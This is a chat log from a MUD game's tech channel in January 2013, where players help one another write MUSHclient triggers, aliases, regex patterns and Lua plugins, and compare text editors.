T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: if you have access to both devices, you can easily test it - just decrease SA life time
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i have already done that and it still didn't seem to be consistent on when it goes down. i can't see what people are doing there though either
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: at least these cisco routers allow me to remotely manage them without dumping their settings like the dlink dir-330 did
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Turie Tech: Anyone use the PotionQuaff script Bast has in his scripts?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Doc Holliday Tech: is there a command to show all windows (added the miniwin_moonbot) but I cant find the window lol
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vakieh Tech: The window won't exist until the moonbot has been populated. Stand around outside for a while, it will appear
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: anyone use knowledgesync?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Grayghost Tech: anybody using mush here
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vakieh Tech: Nope. Not a one. :-P
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Turie Tech: No.
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Grayghost Tech: oh well:(
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Bast Tech: according to clients, there are 229 uses of mushclient, so ask your question please
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Turie Tech: Grayghost: It is called a joke. type clients
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Hanslanda Tech: best to just ask your question.  Lots of us are at least knowledgeable enough to muddle through to the answer, and if not, we can definitely point you to better resources.
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tech: Turie points excitedly at Bast!
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Turie Tech: Or Fiendish could do it.
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Hanslanda Tech: winkle also needs the practice
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Cody Tech: just so you all know, Bast, and his plugins, are awesome ;)
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Prince Wario Tech: I can't get some of them to work
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Bast Tech: which ones?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Cody Tech: see, hes here to save the day^^ thats y he so awesome ;)
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Aliens Tech: the regex variables to trigger only go from %0 .. %9  ?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Aliens Tech: ( in muchclient )
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vakieh Tech: Can be named for infinite based on implementation - but for glob, yes, %0-%9
T3/r7/2013-01-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the answer to your question is no, only having 0-9 would be stupid
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Aliens Tech: any suggestions on how to get more?  im trying to do a multiline trgger and i only get the first like 9
T3/r7/2013-01-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: http://www.gammon.com.au/scripts/doc.php?general=triggers
T3/r7/2013-01-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: read down to the section on wildcards
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Aliens Tech: thanks
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vakieh Tech: Multiline triggers are usually a bad idea - try using a trigger to enable a second, one line trigger
T3/r7/2013-01-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: mushclient supports up to 999 glob patterns
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Aliens Tech: i want the info from id... multi-line seemed a good idea at the time
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Redryn Tech: i've never really made a multiline trigger that worked well
T3/r7/2013-01-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: me neither
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Aliens Tech: well so far mine gets all the fields i want, but only the first 9
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vakieh Tech: I've made one, but the single line trigger set was more elegant
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Redryn Tech: well use regex
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Redryn Tech: you can name each wildcard
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Aliens Tech: ya im looking into it
T3/r7/2013-01-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you're all wrong and stupid
T3/r7/2013-01-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: he can use more than 10 wildcards without naming them
T3/r7/2013-01-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: just read the page I posted
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Mokg Tech: please dont verbally abuse people on this channel
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Aliens Tech: yup in doing it now
T3/r7/2013-01-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: hehe
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Aliens Tech: For wildcards above 9 you can use this syntax: kick %<22>
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Aliens Tech: sweet
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Elimron Tech: note
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Elimron Tech: replay
T3/r7/2013-01-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: write
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Aliens Tech: wake
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Elimron Tech: lol yesterday I asked if tehre was a way to trifgger an auto pickup when I get disarmed and no one answered I was looking for a note
T3/r7/2013-01-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: what kind of note?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Elimron Tech: scuze mt tyoping
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish tjopps.
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Elimron Tech: I didnt know if a tech may have responded taht way
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Sparkleface Tech: I have a trigger watching for *DISARMS you* that sends a "get all" so at the very least I don't lose my weapon if I flee
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Elimron Tech: how does an ignorant nebie such as I set such a trigger?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Hanslanda Tech: you just make a trigger on the disarm messages.  There's one for gameload, and a different one for aardeq.  Technically there's another for when the aardbracers kick in, but you don't have to worry about that one because you didn't get disarmed.
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Sparkleface Tech: I am using MUSHclient, setting it in there.  not sure if there is a way to do so directly in the MUD
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Elimron Tech: pretend I have no idea about what you just told me, is there a place that explains this?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Elimron Tech: I am using mush too
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Hanslanda Tech: sure, the helpfiles for your client.
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Elimron Tech: ok I was not aware my client had help files, thanks
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Elimron Tech: I assume that code you just posted sets the trigger, i copied it, the help files should tell me where to paste it?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Aliens Tech: file import clipboard
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Elimron Tech: nevermind , just seen the second post thanks again
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: so i hear DELL is likely going to be taken private
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: you know what would be funny?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: if special committee agrees to sell at 13.50, then lenovo or HPQ overbids since the co. is in play and steals it from Michael
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Getsuko Tech: should I turn the MUSH mapper on?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Ranrr Tech: only if you want to use it
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Getsuko Tech: I guess I'm looking for a way to help me get back to mobs I've seen before without having to go to google every time
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Trachx Tech: you need mob database then, mapper allows you to return to rooms you were previously to - it just provides speedwalks inside areas and to areas
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Trachx Tech: also, mapper displays nice map
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Solaar Tech: So it it just me, but do I need to toss on my coder hat just to make a trigger in mushclient
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: nah, it's not too bad, Solaar
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: there's a dialog box for it
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: look under game>configure>triggers
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Solaar Tech: wanted to take mushclient for a spin since the automapper setup is nice compared to my good ole zmud
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: the mapper is MUCH nicer. there's a script out there somewhere that lets you do new triggers the way you typed them in in zmud, too...I remember seeing it
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Solaar Tech: now that would be awesome!  Do you have a vague memory of the name so it can help in the search?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: also, when I switched over...exporting my aliases from Zmud and doing a little bit of search-and-replace on the text file made them ready to import here decently
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Solaar Tech: so dont jumpt in all willy nilly is what you're saying =p?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Santher Tech: heh
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: it wasn't bad, actually
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Santher Tech: mush isn't that hard to learn... lua compile errors aren't that hard to figure out (fairly helpful error messages)
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aliens Tech: the regex's are killing me atm tho, lol
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Santher Tech: plus most of us use it here and and already used to it
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Santher Tech: ah yeah i don't use regex...
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Solaar Tech: I have ALWAYS hated regex
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aliens Tech: (\| Specials   : (?P<special>.+) \|\n){0,1}    lore: the weapon might have a specials line ... or might not. 
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aliens Tech: forces 2nd iteration of whole script... sigh
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Santher Tech: there's workarounds... but i'm not good at explaining :P
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: I can't remember where they got into my mush from... :/ I have them...
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: looks like they may be including them in the newer aardmush world file
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: check shift-ctrl-9 and see if you have an entry for #trigger {*} {*}
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Santher Tech: i do
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Santher Tech: r1557
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: and here's a link for you if you don't with the code... http://code.google.com/p/aardwolfclientpackage/wiki/CommandLineAliasesAndTriggers
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Santher Tech: ah new one has stuff for adding aliases/trigs z/cmud style :)
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: yep, useful for those who are coming over from those, though
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Tech: Santher nods.
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Santher Tech: i wondered what those were for :P
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Vakieh Tech: So, I bought a remote release for my camera, and while I'm sitting here enchanting I am confusing the **** out of my dog.
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Jedhi Tech: hi, i'm building a small plugin. i have an alias myalias which has a script function called myscript. how to i get my alias options into that function? like when myalias option1, then i need to get that value to my function
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Vakieh Tech: You are using the alias entry like 'myalias *' ?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Jedhi Tech: yes
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Jedhi Tech: match="^pkg [0-9]+$"
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Jedhi Tech: script="myfunc"
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Trachx Tech: why don't you add alias in script ?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Vakieh Tech: You aren't capturing anything with that match
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Jedhi Tech: what should the match be. only integer can be specified as option and alias can be matched without option
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Vakieh Tech: To capture the numbers, you would need something like match="^pkg ([0-9]+)$"
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Vakieh Tech: That requires a space after pkg though
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Vakieh Tech: If you want to match 'pkg' with no space, you would need match="^pkg ?([0-9]+)$"
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Vakieh Tech: I think... getting a little late :-)
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Jedhi Tech: thanx, it was my faulty match. 
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aliens Tech: re: regex, .+ matches anything but newline, can i cross newlines with [.\n]+      ?bid 892
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aliens Tech: oops
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Vakieh Tech: You must use a multiline trigger for that - short answer to that is it's a bad idea
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aliens Tech: i am using a mulitiline
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aliens Tech: im experimenting with (\+\-{65,}\+\n\| Stat Mods  \: (?P<statmods>[.\n]+) \|\n\+\-{65,}\+\n){0,1}      on the output of lore weapon
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aliens Tech: omg the arcane magic that is LUA
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: powerful stuff, though
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aliens Tech: putting [[]] around my var fixed hours of frustration
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aliens Tech: Note(string.gsub([[%0]], "\\n", " "))
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aliens Tech: i'm still not even sure what it does, but it works
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aliens Tech: humph... mushclient doesnt honor comments in triggers sent to script
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Aliens Tech: removing -- x = [[%0]]   removes error
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Runtur Vanion Tech: any reason why  in configs i check show contents if controll is pressed its not showing me ? ( mush,keypad settings)
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Tech: vanion: when you click the checkbox to show contents if ctrl held down, does that clear out all the stuff in the keypad settings?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Tech: that checkbox is to show an alternate definition for the keypad, it's not to "give me a cheat sheet when I hold down ctrl"
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Tech: so you could have ctrl-8 be open n, and regular 8 be n
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Zetkax Tech: in mush is there a plugin editor more advanced than notepad?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Mendaloth Tech: I use notepad++, it's great, free and quick.
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Zetkax Tech: thanks mendaloth
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Turie Tech: What is the command in Aard-MUSH that shows the xterm 256 color chart with xterms.
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: color 256
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: it's mudside, not mush side
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Turie Tech: Color 256 just shows the colors not the xterms.
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: What do you mean. i type it and see xterm color numbers and their ansi equivalent.
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: hmm, how do i write an alias for "MAPPER CEXIT *" to "MC %0"
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: having issues with it not saving ; commands
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Runtur Vanion Tech: use %1
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: Yeah, I did that too
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: the issue is it doesn't save stacked command
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Cody Tech: ;;
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: "mc get key;open down;down"
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Runtur Vanion Tech: try ;;?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: "mc get key;
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: that onyl saves GET key into the mapper exit
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Cody Tech: "mc get key;;open down;;down"
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: yea, thats the command
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: it only saves get key
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: to the mapper cexit
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Cody Tech: send to?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: using execute
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: I'll try send to :)
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: oh sorry, im using execute
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Cody Tech: hmm should be send to
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Doink Tech: has to be to execute.. to get the mapper cexit part to work. Ive never alias'd that
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Cody Tech: hmm should be send to execute* ya
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: Yeah, doesn't work
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Doink Tech: Do them by hand, should be so hard.
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Doink Tech: shouldnt*
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Doink Tech: I do use alias's for, mapper list *, and mapper area *
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Doink Tech: also, mapper resume
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: Well thats always an alternative
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Cody Tech: i have proport * * = "mapper portal get %1 %2;;hold %1;;enter;;dualaa;;put %1 %2" send to execute. so should work same for cexits as it does for mapper portals...i dont get why urs isnt working
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: Well, try MC *  s;s;s
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: it doesnt work :P
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Cody Tech: ill try setting it up on mine
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Mohan Tech: hi hi, can someone can make pluging to change weapons in MUSH?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Mohan Tech: hi hi, can someone can make pluging to change weapons in MUSH?, if you can do it and want to sell me, just drop me a tell
T3/r7/2013-01-17.txt.gz:{chan ch=tech}SuperJayT Tech: I made one yesterday in cmud.  I couldnt tell you how to do it in mush though.
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Doink Tech: shouldnt need a plugin.. I just use a simple alias to change weapons
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Doink Tech: use the weapons id#s, alias them... hit alias.. boom
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Cody Tech: i cant figure out that cexit problem...
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: was it working for you?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Cody Tech: no wont grab after the ;'s
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: yeah.. :P
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: guess ill just type it out
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Mohan Tech: well, I tried, but the variables from items make feel sick
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Cody Tech: W00T
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Cody Tech: promap * * *  =  mapper cexit %1;;%2;;%3
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Cody Tech: i used promap, u can use whatever
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: and what happens if there is 4 of em for example?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Cody Tech: sent to execute
T3/r7/2013-01-17.txt.gz:{chan ch=tech}BobTheGreat Tech: place a semicolon in the last one
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Cody Tech: promap * * * * *  =  mapper cexit %1;;%2;;%3;;%4;;%5
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: yeah, so you have to rewite the alias every time
T3/r7/2013-01-17.txt.gz:{chan ch=tech}BobTheGreat Tech: promap foo bar baz;;bazz will work
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Cody Tech: no...
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Nuanse Tech: if there is two commands, that command wouldnt work
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: that doesnt save into the mapper exits 
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Cody Tech: hmm, welllike i said, im learning...
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: which is what we are figuring out :P
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Cody Tech: ya i dont get how to do it. ill keep wrking on it
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Nuanse Tech: string
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: alias *    command:  do1;do2;do3
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: thats works but only saveds do1 into the mapper cexit
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Cody Tech: F this alias, sorry cant figure it out
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: yeah i wouldnt worry about it :P too much effort
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: might have to use LUA or something
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Cody Tech: ya, just tryn to learn, cant learn without tryn it. too frustrating while i have company.
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Cody Tech: please do note me, if u figure it out tho
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: sure
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: If im going to write a plugin, what does it mean if there is a .XML file and a .
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: .XML file and .LUA file?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Vakieh Tech: If you have a huge amount of lua in the script part of the .xml, or if you have functions you want to use in multiplt plugins, you can use a .lua file to separate them out
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Hanslanda Tech: nothing enforceable, file extensions are there to help the user recognize what type of file format the data is expected to be in.
T3/r7/2013-01-17.txt.gz:{chan ch=tech}BobTheGreat Tech: the .lua file has your script in it, and the xml file is all of the configuration of the plugin such as the aliases triggers, and timers, and where the script file is
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: Hmm.  Ok, so I wanted to edit the lua portion I could just go through the Lua file instead of the xML?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Hanslanda Tech: provided the .lua file is in plain-text format and not something encoded into gibberish.
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Vakieh Tech: There is never a 'need' for a lua file - it is simply a convenience
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: Ahh.  The reason I ask is im using Visual Studio with the Lua Plugin, but it doesnt copy the syntax coloring over when the XML file is opened.
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Vakieh Tech: For example, the mapper has the findpath.lua - this is because the pathfinding code is quite long and complex
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Hanslanda Tech: an example of what gibberish is is to open an .exe file in a text editor.
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Vakieh Tech: That is because xml syntax and lua syntax are very different
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Vakieh Tech: hanslanda, lua is interpreted, it need not be compiled to binary
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: Yeah but i thought the XML stored the Lua virbatim so technically you could color the syntax inside the XML file?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Vakieh Tech: You probably could, but VS bases its intellisense and colouring on the file extension
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: Ah ok. so would it be a terrible amount of work to tell my plugin to use a lua file? even if the lua is relatively simple?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Vakieh Tech: And it is bad practice to mix syntaxes in that manner - you want the xml syntax in an xml file
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: nods
T3/r7/2013-01-17.txt.gz:{chan ch=tech}BobTheGreat Tech: Yes Haldrik, there is no harm in separating the files
T3/r7/2013-01-17.txt.gz:{chan ch=tech}BobTheGreat Tech: It will definitely make managing the code easier
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Vakieh Tech: pull out the lua, edit it, put it back inside the CDATA. Or just reference a separate lua file
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Vakieh Tech: Me I use Notepad++, and just switch contexts as I need to - it defaults to xml the next time I open xml
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: Ah ok, great. I'll go see if i cant find out how to create that refeernce, if not, I'll come see yah :)
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Vakieh Tech: Look at how the gmcp mapper plugin does it
T3/r7/2013-01-17.txt.gz:{chan ch=tech}BobTheGreat Tech: Notepad++ users: use sublime! It's better. I switched and stuff has become so much smoother.
T3/r7/2013-01-17.txt.gz:{chan ch=tech}GreenAcid Tech: sublime :)
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Vakieh Tech: I have never run into a single issue with N++, what benefit do I get from Sublime?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: Yeah.. I use Notepad++ a lot too.  I was hoping that this visual studio would contain a lot of lua commands if i had any code errors
T3/r7/2013-01-17.txt.gz:{chan ch=tech}BobTheGreat Tech: The only thing I miss is the epic scintilla/scite rect-selection
T3/r7/2013-01-17.txt.gz:{chan ch=tech}BobTheGreat Tech: The code completion is much better than anything I've ever seen in N++
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Vakieh Tech: I don't use code completion in N++ - for that I use either Eclipse or VS
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: is that where the menu pops up as you're typing?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: a function or something?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Vakieh Tech: yeah, in VS it's intellisense
T3/r7/2013-01-17.txt.gz:{chan ch=tech}BobTheGreat Tech: And the settings are in JSON, much easier than a dialog box
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: Ah ok cool. 
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Zetkax Tech: in mush can i make an alias call an lua function?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: send to script
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: in the send to box
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Zetkax Tech: like this? AddAlias("portal_alias", "portal", "", alias_flag.Enabled, "execPortal") where execPortal is the function name in a script?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}BobTheGreat Tech: SetKax, not sure of the syntax of AddAlias. You may want to look on Nick Gammon's site for more info.
T3/r7/2013-01-17.txt.gz:{chan ch=tech}BobTheGreat Tech: Zetkax*, sorry
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: yea i thought he was talking about the UI alias
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: is the function returning a value or executing commands?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Zetkax Tech: i want the lua function to do something like hold $portal, enter, hold $default-hold-item
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: Zetkax, why arent you using the standard client alias for that?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Hanslanda Tech: is there a way to set mush to not connect automatically?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: or cexit connects
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Haldrik Tech: cexit commands
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Zetkax Tech: does mush have some function to return the name of the current user?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Nuanse Tech: yes
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Zetkax Tech: what is it please?
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Book of Etzli Tech: User? Or your character name? Character name is within the MUD.
T3/r7/2013-01-17.txt.gz:{chan ch=tech}Book of Etzli Tech: And it's gmcp module char.base.name.
